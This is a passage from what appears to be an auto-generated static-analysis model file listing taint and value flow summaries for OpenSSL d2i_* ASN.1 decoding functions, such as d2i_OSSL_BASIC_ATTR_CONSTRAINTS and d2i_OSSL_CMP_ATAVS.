"(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_BASIC_ATTR_CONSTRAINTS", "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", 